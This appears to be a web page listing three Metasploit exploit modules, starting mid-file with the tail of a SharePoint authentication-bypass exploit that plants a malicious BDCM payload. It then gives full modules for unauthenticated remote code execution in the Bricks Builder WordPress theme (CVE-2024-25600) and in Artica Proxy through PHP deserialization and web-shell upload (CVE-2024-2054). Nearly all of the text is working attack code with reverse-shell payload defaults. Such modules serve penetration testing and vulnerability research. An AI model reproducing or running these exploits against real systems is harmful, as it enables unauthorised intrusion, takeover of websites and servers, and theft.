/> end<br /><br /> def drop_and_execute_payload<br /> bdcm_data = "<?xml version=\"1.0\" encoding=\"utf-8\"?><br /><Model<br /> xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"<br /> xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" Name=\"BDCMetadata\"<br /> xmlns=\"http://schemas.microsoft.com/windows/2007/BusinessDataCatalog\"><br /> <LobSystems><br /> <LobSystem Name=\"#{@lob_id}\" Type=\"WebService\"><br /> <Properties><br /> <Property Name=\"WsdlFetchUrl\" Type=\"System.String\">http://localhost:32843/SecurityTokenServiceApplication/securitytoken.svc?singleWsdl</Property><br /> <Property Name=\"WebServiceProxyNamespace\" Type=\"System.String\"><br /> <![CDATA[#{create_c_sharp_payload(payload.encoded)}]]><br /> </Property><br /> <Property Name=\"WsdlFetchAuthenticationMode\" Type=\"System.String\">RevertToSelf</Property><br /> </Properties><br /> <LobSystemInstances><br /> <LobSystemInstance Name=\"#{@lob_id}\"></LobSystemInstance><br /> </LobSystemInstances><br /> <Entities><br /> <Entity Name=\"Products\" DefaultDisplayName=\"Products\" Namespace=\"ODataDemo\" Version=\"1.0.0.0\" EstimatedInstanceCount=\"2000\"><br /> <Properties><br /> <Property Name=\"ExcludeFromOfflineClientForList\" Type=\"System.String\">False</Property><br /> </Properties><br /> <Identifiers><br /> <Identifier Name=\"ID\" TypeName=\"System.Int32\" /><br /> </Identifiers><br /> <Methods><br /> <Method Name=\"ToString\" DefaultDisplayName=\"Create Product\" IsStatic=\"false\"><br /> <Parameters><br /> <Parameter Name=\"@ID\" Direction=\"In\"><br /> <TypeDescriptor Name=\"ID\" DefaultDisplayName=\"ID\" TypeName=\"System.String\" IdentifierName=\"ID\" CreatorField=\"true\" /><br /> </Parameter><br /> <Parameter Name=\"@CreateProduct\" Direction=\"Return\"><br /> <TypeDescriptor Name=\"CreateProduct\" TypeName=\"System.Object\"></TypeDescriptor><br /> </Parameter><br /> </Parameters><br /> <MethodInstances><br /> <MethodInstance Name=\"CreateProduct\" Type=\"GenericInvoker\" ReturnParameterName=\"@CreateProduct\"><br /> <AccessControlList><br /> <AccessControlEntry Principal=\"STS|SecurityTokenService|http://sharepoint.microsoft.com/claims/2009/08/isauthenticated|true|http://www.w3.org/2001/XMLSchema#string\"><br /> <Right BdcRight=\"Execute\" /><br /> </AccessControlEntry><br /> </AccessControlList><br /> </MethodInstance><br /> </MethodInstances><br /> </Method><br /> </Methods><br /> </Entity><br /> </Entities><br /> </LobSystem><br /> </LobSystems><br /></Model>"<br /><br /> url_drop_payload = "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)"<br /><br /> res = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, url_drop_payload),<br /> 'method' => 'POST',<br /> 'ctype' => 'application/x-www-form-urlencoded',<br /> 'headers' => @auth_headers,<br /> 'data' => bdcm_data<br /> })<br /><br /> fail_with(Failure::UnexpectedReply, 'Payload delivery failed') unless res&.code == 200<br /> print_good('Payload has been successfully delivered')<br /> entity_id = "#{SecureRandom.uuid}|4da630b6-36c5-4f55-8e01-5cd40e96104d:entityfile:Products,ODataDemo"<br /> lob_system_instance = "#{SecureRandom.uuid}|4da630b6-36c5-4f55-8e01-5cd40e96104d:lsifile:#{@lob_id},#{@lob_id}"<br /><br /> exec_cmd_data = "<Request AddExpandoFieldTypeSuffix=\"true\" SchemaVersion=\"15.0.0.0\" LibraryVersion=\"16.0.0.0\" ApplicationName=\".NET Library\" xmlns=\"http://schemas.microsoft.com/sharepoint/clientquery/2009\"><Actions><ObjectPath Id=\"21\" ObjectPathId=\"20\" /><ObjectPath Id=\"23\" ObjectPathId=\"22\" /></Actions><ObjectPaths><Method Id=\"20\" ParentId=\"7\" Name=\"Execute\"><Parameters><Parameter Type=\"String\">CreateProduct</Parameter><Parameter ObjectPathId=\"17\" /><Parameter Type=\"Array\"><Object Type=\"String\">1</Object></Parameter></Parameters></Method><Property Id=\"22\" ParentId=\"20\" Name=\"ReturnParameterCollection\" /><Identity Id=\"7\" Name=\"#{entity_id}\" /><Identity Id=\"17\" Name=\"#{lob_system_instance}\" /></ObjectPaths></Request>"<br /><br /> res2 = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, '/_vti_bin/client.svc/ProcessQuery'),<br /> 'method' => 'POST',<br /> 'ctype' => 'application/x-www-form-urlencoded',<br /> 'headers' => @auth_headers,<br /> 'data' => exec_cmd_data<br /> })<br /><br /> fail_with(Failure::UnexpectedReply, 'Payload execution failed') unless res2&.code == 200<br /> end<br /><br /> def ensure_target_dir_present<br /> res = send_get_request('/_api/web/GetFolderByServerRelativeUrl(\'/\')/Folders')<br /> @backup_bdc_metadata = ''<br /> if res&.code == 200 && res&.body&.include?('BusinessDataMetadataCatalog')<br /> print_status('BDCMetadata file already present on the remote host, backing it up.')<br /> res_bdc_metadata = send_get_request("/_api/web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/$value")<br /> if res_bdc_metadata&.code == 200 && !res_bdc_metadata&.body&.empty?<br /> @backup_bdc_metadata = res_bdc_metadata.body<br /> store_bdcmetadata_loot(res_bdc_metadata.body)<br /> else<br /> print_warning('Failed to backup the existing BDCMetadata.bdcm file')<br /> end<br /> else<br /> body = { 'ServerRelativeUrl' => '/BusinessDataMetadataCatalog/' }<br /> res_json = send_json_request('/_api/web/folders', body)<br /> if res_json&.code == 201<br /> print_status('Created BDCM Folder')<br /> else<br /> fail_with(Failure::UnexpectedReply, 'Unable to create the BDCM folder')<br /> end<br /> end<br /> end<br /><br /> def on_new_session(_session)<br /> url_drop_payload = "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)"<br /><br /> res = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, url_drop_payload),<br /> 'method' => 'POST',<br /> 'ctype' => 'application/x-www-form-urlencoded',<br /> 'headers' => @auth_headers,<br /> 'data' => @backup_bdc_metadata<br /> })<br /> if res&.code == 200<br /> print_good('BDCMetadata.bdcm has been successfully restored to it\'s original state.')<br /> else<br /> print_error('BDCMetadata.bdcm restoration has failed.')<br /> end<br /> end<br /><br /> def store_bdcmetadata_loot(data)<br /> file = store_loot('sharepoint.config', 'text/plain', rhost, data, 'BDCMetadata.bdcm', 'The original BDCMetadata.bdcm file before writing the payload to it')<br /> print_good("Stored the original BDCMetadata.bdcm file in loot before overwriting it with the payload: #{file}")<br /> end<br /><br /> def exploit<br /> # Check to see if authentication has already been bypassed in the check method, if not call do_auth_bypass.<br /> unless @auth_bypassed<br /> begin<br /> do_auth_bypass<br /> rescue SharepointError => e<br /> fail_with(Failure::NoAccess, "Auth By-pass failure: #{e}")<br /> end<br /> end<br /> # If /BusinessDataMetadataCatalog does not exist, create it. If it exists and contains BDCMetadata.bdcm, back it up.<br /> ensure_target_dir_present<br /> drop_and_execute_payload<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::Remote::HTTP::Wordpress<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Unauthenticated RCE in Bricks Builder Theme',<br /> 'Description' => %q{<br /> This module exploits an unauthenticated remote code execution vulnerability in the<br /> Bricks Builder Theme versions <= 1.9.6 for WordPress. The vulnerability allows attackers<br /> to execute arbitrary PHP code by leveraging a nonce leakage to bypass authentication and<br /> exploit the eval() function usage within the theme. Successful exploitation allows for full<br /> control of the affected WordPress site. It is recommended to upgrade to version 1.9.6.1 or higher.<br /> },<br /> 'Author' => [<br /> 'Calvin Alkan', # Vulnerability discovery<br /> 'Valentin Lobstein' # Metasploit module<br /> ],<br /> 'License' => MSF_LICENSE,<br /> 'References' => [<br /> ['CVE', '2024-25600'],<br /> ['URL', 'https://github.com/Chocapikk/CVE-2024-25600'],<br /> ['URL', 'https://snicco.io/vulnerability-disclosure/bricks/unauthenticated-rce-in-bricks-1-9-6'],<br /> ['WPVDB', 'afea4f8c-4d45-4cc0-8eb7-6fa6748158bd']<br /> ],<br /> 'DisclosureDate' => '2024-02-19',<br /> 'Notes' => {<br /> 'Stability' => [ CRASH_SAFE ],<br /> 'SideEffects' => [ IOC_IN_LOGS ],<br /> 'Reliability' => [ REPEATABLE_SESSION ]<br /> },<br /> 'Platform' => ['unix', 'linux', 'win', 'php'],<br /> 'Arch' => [ARCH_PHP, ARCH_CMD],<br /> 'Targets' => [<br /> [<br /> 'PHP In-Memory',<br /> {<br /> 'Platform' => 'php',<br /> 'Arch' => ARCH_PHP,<br /> 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },<br /> 'Type' => :php_memory<br /> }<br /> ],<br /> [<br /> 'Unix In-Memory',<br /> {<br /> 'Platform' => ['unix', 'linux'],<br /> 'Arch' => ARCH_CMD,<br /> 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' },<br /> 'Type' => :unix_memory<br /> }<br /> ],<br /> [<br /> 'Windows In-Memory',<br /> {<br /> 'Platform' => 'win',<br /> 'Arch' => ARCH_CMD,<br /> 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp' },<br /> 'Type' => :win_memory<br /> }<br /> ],<br /> ],<br /> 'Privileged' => false<br /> )<br /> )<br /> end<br /><br /> def fetch_nonce<br /> uri = normalize_uri(target_uri.path)<br /> res = send_request_cgi('method' => 'GET', 'uri' => uri)<br /> return nil unless res&.code == 200<br /><br /> script_tag_match = res.body.match(%r{<script id="bricks-scripts-js-extra"[^>]*>([\s\S]*?)</script>})<br /> return nil unless script_tag_match<br /><br /> script_content = script_tag_match[1]<br /> nonce_match = script_content.match(/"nonce":"([a-f0-9]+)"/)<br /> nonce_match ? nonce_match[1] : nil<br /> end<br /><br /> def exploit<br /> nonce = fetch_nonce<br /> fail_with(Failure::NoAccess, 'Failed to retrieve nonce. Exiting...') unless nonce<br /><br /> print_good("Nonce retrieved: #{nonce}")<br /><br /> send_request_cgi(<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'index.php'),<br /> 'ctype' => 'application/json',<br /> 'data' => {<br /> 'postId' => rand(1..10000).to_s,<br /> 'nonce' => nonce,<br /> 'element' => {<br /> 'name' => 'code',<br /> 'settings' => {<br /> 'executeCode' => 'true',<br /> 'code' => "<?php #{payload_instance.arch.include?(ARCH_PHP) ? payload.encoded : "system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'))"} ?>"<br /> }<br /> }<br /> }.to_json,<br /> 'vars_get' => {<br /> 'rest_route' => '/bricks/v1/render_element'<br /> }<br /> )<br /> end<br /><br /> def check<br /> return CheckCode::Unknown('WordPress does not appear to be online.') unless wordpress_and_online?<br /><br /> wp_version = wordpress_version<br /> print_status("WordPress Version: #{wp_version}") if wp_version<br /><br /> theme_check_code = check_theme_version_from_style('bricks', '1.9.6.1')<br /> return CheckCode::Unknown('The Bricks Builder theme does not appear to be installed') unless theme_check_code<br /> return CheckCode::Detected('The Bricks Builder theme is running but the version was unable to be determined') if theme_check_code.code == 'detected'<br /> return CheckCode::Safe("The Bricks Builder is running version: #{theme_check_code.details[:version]}, which is not vulnerable.") unless theme_check_code.code == 'appears'<br /><br /> theme_version = theme_check_code.details[:version]<br /> print_good("Detected Bricks Builder theme version: #{theme_version}")<br /> CheckCode::Appears<br /> end<br /><br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::CmdStager<br /> include Msf::Exploit::FileDropper<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Artica Proxy Unauthenticated PHP Deserialization Vulnerability',<br /> 'Description' => %q{<br /> A Command Injection vulnerability in Artica Proxy appliance version 4.50 and 4.40<br /> allows remote attackers to run arbitrary commands via unauthenticated HTTP request.<br /> The Artica Proxy administrative web application will deserialize arbitrary PHP objects<br /> supplied by unauthenticated users and subsequently enable code execution as the "www-data" user.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor<br /> 'Jaggar Henry of KoreLogic Inc.' # Discovery of the vulnerability<br /> ],<br /> 'References' => [<br /> ['CVE', '2024-2054'],<br /> ['URL', 'https://attackerkb.com/topics/q1JUcEJjXZ/cve-2024-2054'],<br /> ['PACKETSTORM', '177482']<br /> ],<br /> 'DisclosureDate' => '2024-03-05',<br /> 'Platform' => ['php', 'unix', 'linux'],<br /> 'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86],<br /> 'Privileged' => false,<br /> 'Targets' => [<br /> [<br /> 'PHP',<br /> {<br /> 'Platform' => ['php'],<br /> 'Arch' => ARCH_PHP,<br /> 'Type' => :php,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'php/meterpreter/reverse_tcp'<br /> }<br /> }<br /> ],<br /> [<br /> 'Unix Command',<br /> {<br /> 'Platform' => ['unix', 'linux'],<br /> 'Arch' => ARCH_CMD,<br /> 'Type' => :unix_cmd,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'cmd/unix/reverse_bash'<br /> }<br /> }<br /> ],<br /> [<br /> 'Linux Dropper',<br /> {<br /> 'Platform' => ['linux'],<br /> 'Arch' => [ARCH_X64, ARCH_X86],<br /> 'Type' => :linux_dropper,<br /> 'CmdStagerFlavor' => ['wget', 'curl', 'bourne', 'printf', 'echo'],<br /> 'Linemax' => 16384,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'<br /> }<br /> }<br /> ]<br /> ],<br /> 'DefaultTarget' => 0,<br /> 'DefaultOptions' => {<br /> 'SSL' => true,<br /> 'RPORT' => 9000<br /> },<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]<br /> }<br /> )<br /> )<br /> register_options([<br /> OptString.new('TARGETURI', [ true, 'The Artica Proxy endpoint URL', '/' ]),<br /> OptString.new('WEBSHELL', [false, 'Set webshell name without extension. Name will be randomly generated if left unset.', nil]),<br /> OptEnum.new('COMMAND',<br /> [true, 'Use PHP command function', 'passthru', %w[passthru shell_exec system exec]], conditions: %w[TARGET != 0])<br /> ])<br /> end<br /><br /> def execute_php(cmd, _opts = {})<br /> payload = Base64.strict_encode64(cmd)<br /> send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'wizard', @webshell_name),<br /> 'ctype' => 'application/x-www-form-urlencoded',<br /> 'vars_post' => {<br /> @post_param => payload<br /> }<br /> })<br /> end<br /><br /> def execute_command(cmd, _opts = {})<br /> payload = Base64.strict_encode64(cmd)<br /> php_cmd_function = datastore['COMMAND']<br /> send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'wizard', @webshell_name),<br /> 'ctype' => 'application/x-www-form-urlencoded',<br /> 'vars_get' => {<br /> @get_param => php_cmd_function<br /> },<br /> 'vars_post' => {<br /> @post_param => payload<br /> }<br /> })<br /> end<br /><br /> def upload_webshell<br /> # randomize file name if option WEBSHELL is not set<br /> @webshell_name = (datastore['WEBSHELL'].blank? ? "#{Rex::Text.rand_text_alpha(8..16)}.php" : "#{datastore['WEBSHELL']}.php")<br /> @webshell_full_path = "/usr/share/artica-postfix/wizard/#{@webshell_name}"<br /><br /> @post_param = Rex::Text.rand_text_alphanumeric(1..8)<br /> @get_param = Rex::Text.rand_text_alphanumeric(1..8)<br /><br /> # Upload webshell with PHP payload<br /> if target['Type'] == :php<br /> php_payload = "<?php @eval(base64_decode($_POST[\'#{@post_param}\']));?>"<br /> else<br /> php_payload = "<?=$_GET[\'#{@get_param}\'](base64_decode($_POST[\'#{@post_param}\']));?>"<br /> end<br /><br /> php_payload_len = php_payload.length<br /> webshell_full_path_len = @webshell_full_path.length<br /> final_payload = "O:19:\"Net_DNS2_Cache_File\":4:{s:10:\"cache_file\";s:#{webshell_full_path_len}:\"#{@webshell_full_path}\";s:16:\"cache_serializer\";s:4:\"json\";s:10:\"cache_size\";i:9999999999;s:10:\"cache_data\";a:1:{s:#{php_payload_len}:\"#{php_payload}\";a:2:{s:10:\"cache_date\";i:0;s:3:\"ttl\";i:9999999999;}}}"<br /> final_payload_b64 = Base64.strict_encode64(final_payload)<br /><br /> return send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'wizard', 'wiz.wizard.progress.php'),<br /> 'ctype' => 'application/x-www-form-urlencoded',<br /> 'vars_get' => {<br /> 'build-js' => final_payload_b64<br /> }<br /> })<br /> end<br /><br /> def check<br /> print_status("Checking if #{peer} can be exploited.")<br /> res = send_request_cgi!({<br /> 'method' => 'GET',<br /> 'ctype' => 'application/x-www-form-urlencoded',<br /> 'uri' => normalize_uri(target_uri.path)<br /> })<br /> return CheckCode::Unknown('No valid response received from target.') unless res && res.code == 200<br /><br /> # Check if target is an Artica Proxy appliance<br /> # Search for the Artica Version tag on the login page<br /> html = res.get_html_document<br /> unless html.blank?<br /> version_match = html.text.match(/Artica.{1,2}\d\.\d\d/)<br /> return CheckCode::Unknown('No Artica version found.') if version_match.nil?<br /><br /> version = version_match[0].split(' ')<br /> if version.count > 1 && Rex::Version.new(version[1]) <= Rex::Version.new('4.50') && Rex::Version.new(version[1]) >= Rex::Version.new('4.40')<br /> return CheckCode::Vulnerable("Artica version: #{version[1]}")<br /> else<br /> return CheckCode::Safe("Artica version: #{version[1]}")<br /> end<br /> end<br /> CheckCode::Unknown<br /> end<br /><br /> def exploit<br /> print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")<br /> res = upload_webshell<br /> fail_with(Failure::PayloadFailed, 'Web shell upload error.') unless res && res.code == 500<br /> register_file_for_cleanup(@webshell_full_path)<br /><br /> case target['Type']<br /> when :php<br /> execute_php(payload.encoded)<br /> when :unix_cmd<br /> execute_command(payload.encoded)<br /> when :linux_dropper<br /> # Don't check the response here since the server won't respond<br /> # if the payload is successfully executed.<br /> execute_cmdstager({ linemax: target.opts['Linemax'] })<br /> end<br /> end<br />end<br /></code></pre>